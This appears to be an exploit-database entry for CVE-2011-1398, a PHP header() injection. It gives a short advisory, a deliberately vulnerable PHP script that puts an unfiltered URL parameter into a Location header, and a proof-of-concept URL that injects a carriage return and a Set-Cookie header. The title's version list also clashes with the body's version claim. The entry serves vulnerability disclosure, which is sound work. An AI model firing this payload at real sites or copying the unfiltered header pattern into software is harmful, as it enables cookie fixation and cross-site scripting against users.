PHP 5.3.11/5.4.0RC2 - 'header()' HTTP Header Injection
Author: Mr. Tokumaru
type: remote
platform: php
port:
date_added: 2011-10-06
date_updated: 2016-12-01
verified: 1
codes: CVE-2011-1398;OSVDB-85086
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/55297/info
PHP is prone to a vulnerability that allows attackers to inject arbitrary headers through a URL.
By inserting arbitrary headers, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks.
PHP 5.1.2 is vulnerable; other versions may also be affected.
<?php
header('Location: '.$_GET['url']);
print_r($_COOKIE);
?>
http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo